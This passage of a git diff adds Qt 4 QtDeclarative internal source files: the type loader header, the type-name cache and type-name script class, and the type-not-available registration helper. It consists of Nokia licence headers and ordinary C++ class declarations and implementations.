+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETYPELOADER_P_H
+#define QDECLARATIVETYPELOADER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qobject.h>
+#include <QtNetwork/qnetworkreply.h>
+#include <QtDeclarative/qdeclarativeerror.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <private/qdeclarativescriptparser_p.h>
+#include <private/qdeclarativedirparser_p.h>
+#include <private/qdeclarativeimport_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeScriptData;
+class QDeclarativeQmldirData;
+class QDeclarativeTypeLoader;
+class QDeclarativeCompiledData;
+class QDeclarativeComponentPrivate;
+class QDeclarativeTypeData;
+class QDeclarativeDataLoader;
+
+class Q_AUTOTEST_EXPORT QDeclarativeDataBlob : public QDeclarativeRefCount
+{
+public:
+ enum Status {
+ Null, // Prior to QDeclarativeDataLoader::load()
+ Loading, // Prior to data being received and dataReceived() being called
+ WaitingForDependencies, // While there are outstanding addDependency()s
+ Complete, // Finished
+ Error // Error
+ };
+
+ enum Type {
+ QmlFile,
+ JavaScriptFile,
+ QmldirFile
+ };
+
+ QDeclarativeDataBlob(const QUrl &, Type);
+ virtual ~QDeclarativeDataBlob();
+
+ Type type() const;
+
+ Status status() const;
+ bool isNull() const;
+ bool isLoading() const;
+ bool isWaiting() const;
+ bool isComplete() const;
+ bool isError() const;
+ bool isCompleteOrError() const;
+
+ qreal progress() const;
+
+ QUrl url() const;
+ QUrl finalUrl() const;
+
+ QList<QDeclarativeError> errors() const;
+
+ void setError(const QDeclarativeError &);
+ void setError(const QList<QDeclarativeError> &errors);
+
+ void addDependency(QDeclarativeDataBlob *);
+
+protected:
+ virtual void dataReceived(const QByteArray &) = 0;
+
+ virtual void done();
+ virtual void networkError(QNetworkReply::NetworkError);
+
+ virtual void dependencyError(QDeclarativeDataBlob *);
+ virtual void dependencyComplete(QDeclarativeDataBlob *);
+ virtual void allDependenciesDone();
+
+ virtual void downloadProgressChanged(qreal);
+
+private:
+ friend class QDeclarativeDataLoader;
+ void tryDone();
+ void cancelAllWaitingFor();
+ void notifyAllWaitingOnMe();
+ void notifyComplete(QDeclarativeDataBlob *);
+
+ Type m_type;
+ Status m_status;
+ qreal m_progress;
+
+ QUrl m_url;
+ QUrl m_finalUrl;
+
+ // List of QDeclarativeDataBlob's that are waiting for me to complete.
+ QList<QDeclarativeDataBlob *> m_waitingOnMe;
+
+ // List of QDeclarativeDataBlob's that I am waiting for to complete.
+ QList<QDeclarativeDataBlob *> m_waitingFor;
+
+ // Manager that is currently fetching data for me
+ QDeclarativeDataLoader *m_manager;
+ int m_redirectCount:30;
+ bool m_inCallback:1;
+ bool m_isDone:1;
+
+ QList<QDeclarativeError> m_errors;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeDataLoader : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeDataLoader(QDeclarativeEngine *);
+ ~QDeclarativeDataLoader();
+
+ void load(QDeclarativeDataBlob *);
+ void loadWithStaticData(QDeclarativeDataBlob *, const QByteArray &);
+
+ QDeclarativeEngine *engine() const;
+
+private slots:
+ void networkReplyFinished();
+ void networkReplyProgress(qint64,qint64);
+
+private:
+ void setData(QDeclarativeDataBlob *, const QByteArray &);
+
+ QDeclarativeEngine *m_engine;
+ typedef QHash<QNetworkReply *, QDeclarativeDataBlob *> NetworkReplies;
+ NetworkReplies m_networkReplies;
+};
+
+
+class Q_AUTOTEST_EXPORT QDeclarativeTypeLoader : public QDeclarativeDataLoader
+{
+ Q_OBJECT
+public:
+ QDeclarativeTypeLoader(QDeclarativeEngine *);
+ ~QDeclarativeTypeLoader();
+
+ enum Option {
+ None,
+ PreserveParser
+ };
+ Q_DECLARE_FLAGS(Options, Option)
+
+ QDeclarativeTypeData *get(const QUrl &url);
+ QDeclarativeTypeData *get(const QByteArray &, const QUrl &url, Options = None);
+ void clearCache();
+
+ QDeclarativeScriptData *getScript(const QUrl &);
+ QDeclarativeQmldirData *getQmldir(const QUrl &);
+
+ QString absoluteFilePath(const QString &path);
+ const QDeclarativeDirParser *qmlDirParser(const QString &absoluteFilePath);
+
+private:
+ typedef QHash<QUrl, QDeclarativeTypeData *> TypeCache;
+ typedef QHash<QUrl, QDeclarativeScriptData *> ScriptCache;
+ typedef QHash<QUrl, QDeclarativeQmldirData *> QmldirCache;
+ typedef QSet<QString> StringSet;
+ typedef QHash<QString, StringSet*> ImportDirCache;
+ typedef QHash<QString, QDeclarativeDirParser*> ImportQmlDirCache;
+
+ TypeCache m_typeCache;
+ ScriptCache m_scriptCache;
+ QmldirCache m_qmldirCache;
+ ImportDirCache m_importDirCache;
+ ImportQmlDirCache m_importQmlDirCache;
+};
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeTypeLoader::Options)
+
+class Q_AUTOTEST_EXPORT QDeclarativeTypeData : public QDeclarativeDataBlob
+{
+public:
+ struct TypeReference
+ {
+ TypeReference() : type(0), majorVersion(0), minorVersion(0), typeData(0) {}
+
+ QDeclarativeParser::Location location;
+ QDeclarativeType *type;
+ int majorVersion;
+ int minorVersion;
+ QDeclarativeTypeData *typeData;
+ };
+
+ struct ScriptReference
+ {
+ ScriptReference() : script(0) {}
+
+ QDeclarativeParser::Location location;
+ QString qualifier;
+ QDeclarativeScriptData *script;
+ };
+
+ QDeclarativeTypeData(const QUrl &, QDeclarativeTypeLoader::Options, QDeclarativeTypeLoader *);
+ ~QDeclarativeTypeData();
+
+ QDeclarativeTypeLoader *typeLoader() const;
+
+ const QDeclarativeImports &imports() const;
+ const QDeclarativeScriptParser &parser() const;
+
+ const QList<TypeReference> &resolvedTypes() const;
+ const QList<ScriptReference> &resolvedScripts() const;
+
+ QDeclarativeCompiledData *compiledData() const;
+
+ // Used by QDeclarativeComponent to get notifications
+ struct TypeDataCallback {
+ ~TypeDataCallback() {}
+ virtual void typeDataProgress(QDeclarativeTypeData *, qreal) {}
+ virtual void typeDataReady(QDeclarativeTypeData *) {}
+ };
+ void registerCallback(TypeDataCallback *);
+ void unregisterCallback(TypeDataCallback *);
+
+protected:
+ virtual void done();
+ virtual void dataReceived(const QByteArray &);
+ virtual void allDependenciesDone();
+ virtual void downloadProgressChanged(qreal);
+
+private:
+ void resolveTypes();
+ void compile();
+
+ QDeclarativeTypeLoader::Options m_options;
+
+ QDeclarativeQmldirData *qmldirForUrl(const QUrl &);
+
+ QDeclarativeScriptParser scriptParser;
+ QDeclarativeImports m_imports;
+
+ QList<ScriptReference> m_scripts;
+ QList<QDeclarativeQmldirData *> m_qmldirs;
+
+ QList<TypeReference> m_types;
+ bool m_typesResolved:1;
+
+ QDeclarativeCompiledData *m_compiledData;
+
+ QList<TypeDataCallback *> m_callbacks;
+
+ QDeclarativeTypeLoader *m_typeLoader;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeScriptData : public QDeclarativeDataBlob
+{
+public:
+ QDeclarativeScriptData(const QUrl &);
+
+ QDeclarativeParser::Object::ScriptBlock::Pragmas pragmas() const;
+ QString scriptSource() const;
+
+protected:
+ virtual void dataReceived(const QByteArray &);
+
+private:
+ QDeclarativeParser::Object::ScriptBlock::Pragmas m_pragmas;
+ QString m_source;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeQmldirData : public QDeclarativeDataBlob
+{
+public:
+ QDeclarativeQmldirData(const QUrl &);
+
+ const QDeclarativeDirComponents &dirComponents() const;
+
+protected:
+ virtual void dataReceived(const QByteArray &);
+
+private:
+ QDeclarativeDirComponents m_components;
+
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVETYPELOADER_P_H
diff --git a/src/declarative/qml/qdeclarativetypenamecache.cpp b/src/declarative/qml/qdeclarativetypenamecache.cpp
new file mode 100644
index 00000000..29b88750
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypenamecache.cpp
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetypenamecache_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeTypeNameCache::QDeclarativeTypeNameCache(QDeclarativeEngine *e)
+: QDeclarativeCleanup(e), engine(e)
+{
+}
+
+QDeclarativeTypeNameCache::~QDeclarativeTypeNameCache()
+{
+ clear();
+}
+
+void QDeclarativeTypeNameCache::clear()
+{
+ qDeleteAll(stringCache);
+ stringCache.clear();
+ identifierCache.clear();
+ engine = 0;
+}
+
+void QDeclarativeTypeNameCache::add(const QString &name, int importedScriptIndex)
+{
+ if (stringCache.contains(name))
+ return;
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ RData *data = new RData;
+ // ### Use typename class
+ data->identifier = ep->objectClass->createPersistentIdentifier(name);
+ data->importedScriptIndex = importedScriptIndex;
+ stringCache.insert(name, data);
+ identifierCache.insert(data->identifier.identifier, data);
+}
+
+void QDeclarativeTypeNameCache::add(const QString &name, QDeclarativeType *type)
+{
+ if (stringCache.contains(name))
+ return;
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ RData *data = new RData;
+ // ### Use typename class
+ data->identifier = ep->objectClass->createPersistentIdentifier(name);
+ data->type = type;
+ stringCache.insert(name, data);
+ identifierCache.insert(data->identifier.identifier, data);
+}
+
+void QDeclarativeTypeNameCache::add(const QString &name, QDeclarativeTypeNameCache *typeNamespace)
+{
+ if (stringCache.contains(name))
+ return;
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ RData *data = new RData;
+ // ### Use typename class
+ data->identifier = ep->objectClass->createPersistentIdentifier(name);
+ data->typeNamespace = typeNamespace;
+ stringCache.insert(name, data);
+ identifierCache.insert(data->identifier.identifier, data);
+ typeNamespace->addref();
+}
+
+QDeclarativeTypeNameCache::Data *QDeclarativeTypeNameCache::data(const QString &id) const
+{
+ return stringCache.value(id);
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativetypenamecache_p.h b/src/declarative/qml/qdeclarativetypenamecache_p.h
new file mode 100644
index 00000000..f86629bb
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypenamecache_p.h
@@ -0,0 +1,119 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETYPENAMECACHE_P_H
+#define QDECLARATIVETYPENAMECACHE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativerefcount_p.h"
+#include "private/qdeclarativecleanup_p.h"
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeType;
+class QDeclarativeEngine;
+class QDeclarativeTypeNameCache : public QDeclarativeRefCount, public QDeclarativeCleanup
+{
+public:
+ QDeclarativeTypeNameCache(QDeclarativeEngine *);
+ virtual ~QDeclarativeTypeNameCache();
+
+ struct Data {
+ inline Data();
+ inline ~Data();
+ QDeclarativeType *type;
+ QDeclarativeTypeNameCache *typeNamespace;
+ int importedScriptIndex;
+ };
+
+ void add(const QString &, int);
+ void add(const QString &, QDeclarativeType *);
+ void add(const QString &, QDeclarativeTypeNameCache *);
+
+ Data *data(const QString &) const;
+ inline Data *data(const QScriptDeclarativeClass::Identifier &id) const;
+
+protected:
+ virtual void clear();
+
+private:
+ struct RData : public Data {
+ QScriptDeclarativeClass::PersistentIdentifier identifier;
+ };
+ typedef QHash<QString, RData *> StringCache;
+ typedef QHash<QScriptDeclarativeClass::Identifier, RData *> IdentifierCache;
+
+ StringCache stringCache;
+ IdentifierCache identifierCache;
+ QDeclarativeEngine *engine;
+};
+
+QDeclarativeTypeNameCache::Data::Data()
+: type(0), typeNamespace(0), importedScriptIndex(-1)
+{
+}
+
+QDeclarativeTypeNameCache::Data::~Data()
+{
+ if (typeNamespace) typeNamespace->release();
+}
+
+QDeclarativeTypeNameCache::Data *QDeclarativeTypeNameCache::data(const QScriptDeclarativeClass::Identifier &id) const
+{
+ return identifierCache.value(id);
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVETYPENAMECACHE_P_H
+
diff --git a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
new file mode 100644
index 00000000..585f12d6
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
@@ -0,0 +1,165 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetypenamescriptclass_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativetypenamecache_p.h"
+
+QT_BEGIN_NAMESPACE
+
+struct TypeNameData : public QScriptDeclarativeClass::Object {
+ TypeNameData(QObject *o, QDeclarativeType *t, QDeclarativeTypeNameScriptClass::TypeNameMode m) : object(o), type(t), typeNamespace(0), mode(m) {}
+ TypeNameData(QObject *o, QDeclarativeTypeNameCache *n, QDeclarativeTypeNameScriptClass::TypeNameMode m) : object(o), type(0), typeNamespace(n), mode(m) {
+ if (typeNamespace) typeNamespace->addref();
+ }
+ ~TypeNameData() {
+ if (typeNamespace) typeNamespace->release();
+ }
+
+ QObject *object;
+ QDeclarativeType *type;
+ QDeclarativeTypeNameCache *typeNamespace;
+ QDeclarativeTypeNameScriptClass::TypeNameMode mode;
+};
+
+QDeclarativeTypeNameScriptClass::QDeclarativeTypeNameScriptClass(QDeclarativeEngine *bindEngine)
+: QScriptDeclarativeClass(QDeclarativeEnginePrivate::getScriptEngine(bindEngine)),
+ engine(bindEngine), object(0), type(0)
+{
+}
+
+QDeclarativeTypeNameScriptClass::~QDeclarativeTypeNameScriptClass()
+{
+}
+
+QScriptValue QDeclarativeTypeNameScriptClass::newObject(QObject *object, QDeclarativeType *type, TypeNameMode mode)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return QScriptDeclarativeClass::newObject(scriptEngine, this, new TypeNameData(object, type, mode));
+}
+
+QScriptValue QDeclarativeTypeNameScriptClass::newObject(QObject *object, QDeclarativeTypeNameCache *ns, TypeNameMode mode)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return QScriptDeclarativeClass::newObject(scriptEngine, this, new TypeNameData(object, ns, mode));
+}
+
+QScriptClass::QueryFlags
+QDeclarativeTypeNameScriptClass::queryProperty(Object *obj, const Identifier &name,
+ QScriptClass::QueryFlags flags)
+{
+ Q_UNUSED(flags);
+
+ TypeNameData *data = (TypeNameData *)obj;
+
+ object = 0;
+ type = 0;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ if (data->typeNamespace) {
+
+ QDeclarativeTypeNameCache::Data *d = data->typeNamespace->data(name);
+ if (d && d->type) {
+ type = d->type;
+ return QScriptClass::HandlesReadAccess;
+ } else {
+ return 0;
+ }
+
+ } else if (data->type) {
+
+ if (startsWithUpper(name)) {
+ QString strName = toString(name);
+ // Must be an enum
+ if (data->mode == IncludeEnums) {
+ // ### Optimize
+ QByteArray enumName = strName.toUtf8();
+ const QMetaObject *metaObject = data->type->baseMetaObject();
+ for (int ii = metaObject->enumeratorCount() - 1; ii >= 0; --ii) {
+ QMetaEnum e = metaObject->enumerator(ii);
+ int value = e.keyToValue(enumName.constData());
+ if (value != -1) {
+ enumValue = value;
+ return QScriptClass::HandlesReadAccess;
+ }
+ }
+ }
+ return 0;
+ } else if (data->object) {
+ // Must be an attached property
+ object = qmlAttachedPropertiesObjectById(data->type->attachedPropertiesId(), data->object);
+ if (!object) return 0;
+ return ep->objectClass->queryProperty(object, name, flags, 0);
+ }
+
+ }
+
+ return 0;
+}
+
+QDeclarativeTypeNameScriptClass::Value
+QDeclarativeTypeNameScriptClass::property(Object *obj, const Identifier &name)
+{
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ if (type) {
+ return Value(scriptEngine, newObject(((TypeNameData *)obj)->object, type, ((TypeNameData *)obj)->mode));
+ } else if (object) {
+ return ep->objectClass->property(object, name);
+ } else {
+ return Value(scriptEngine, enumValue);
+ }
+}
+
+void QDeclarativeTypeNameScriptClass::setProperty(Object *, const Identifier &n, const QScriptValue &v)
+{
+ Q_ASSERT(object);
+ Q_ASSERT(!type);
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ ep->objectClass->setProperty(object, n, v, context());
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativetypenamescriptclass_p.h b/src/declarative/qml/qdeclarativetypenamescriptclass_p.h
new file mode 100644
index 00000000..292e8934
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypenamescriptclass_p.h
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETYPENAMESCRIPTCLASS_P_H
+#define QDECLARATIVETYPENAMESCRIPTCLASS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+#include "private/qdeclarativeengine_p.h"
+
+#include <private/qscriptdeclarativeclass_p.h>
+#include <QtScript/qscriptclass.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeType;
+class QDeclarativeTypeNameCache;
+class QDeclarativeTypeNameScriptClass : public QScriptDeclarativeClass
+{
+public:
+ QDeclarativeTypeNameScriptClass(QDeclarativeEngine *);
+ ~QDeclarativeTypeNameScriptClass();
+
+ enum TypeNameMode { IncludeEnums, ExcludeEnums };
+ QScriptValue newObject(QObject *, QDeclarativeType *, TypeNameMode = IncludeEnums);
+ QScriptValue newObject(QObject *, QDeclarativeTypeNameCache *, TypeNameMode = IncludeEnums);
+
+protected:
+ virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &,
+ QScriptClass::QueryFlags flags);
+
+ virtual Value property(Object *, const Identifier &);
+ virtual void setProperty(Object *, const Identifier &name, const QScriptValue &);
+
+private:
+ QDeclarativeEngine *engine;
+ QObject *object;
+ QDeclarativeType *type;
+ quint32 enumValue;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVETYPENAMESCRIPTCLASS_P_H
+
diff --git a/src/declarative/qml/qdeclarativetypenotavailable.cpp b/src/declarative/qml/qdeclarativetypenotavailable.cpp
new file mode 100644
index 00000000..20be6d4d
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypenotavailable.cpp
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativetypenotavailable_p.h"
+
+QT_BEGIN_NAMESPACE
+
+int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
+{
+ return qmlRegisterUncreatableType<QDeclarativeTypeNotAvailable>(uri,versionMajor,versionMinor,qmlName,message);
+}
+
+QDeclarativeTypeNotAvailable::QDeclarativeTypeNotAvailable() { }
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativetypenotavailable_p.h b/src/declarative/qml/qdeclarativetypenotavailable_p.h
new file mode 100644
index 00000000..7adce6c9
--- /dev/null
+++ b/src/declarative/qml/qdeclarativetypenotavailable_p.h
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETYPENOTAVAILABLE_H
+#define QDECLARATIVETYPENOTAVAILABLE_H
+
+#include <qdeclarative.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeTypeNotAvailable : public QObject {
+ Q_OBJECT
+public:
+ QDeclarativeTypeNotAvailable();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeTypeNotAvailable)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVETYPENOTAVAILABLE_H
diff --git a/src/declarative/qml/qdeclarativevaluetype.cpp b/src/declarative/qml/qdeclarativevaluetype.cpp
new file mode 100644
index 00000000..850928e3
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevaluetype.cpp
@@ -0,0 +1,1011 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
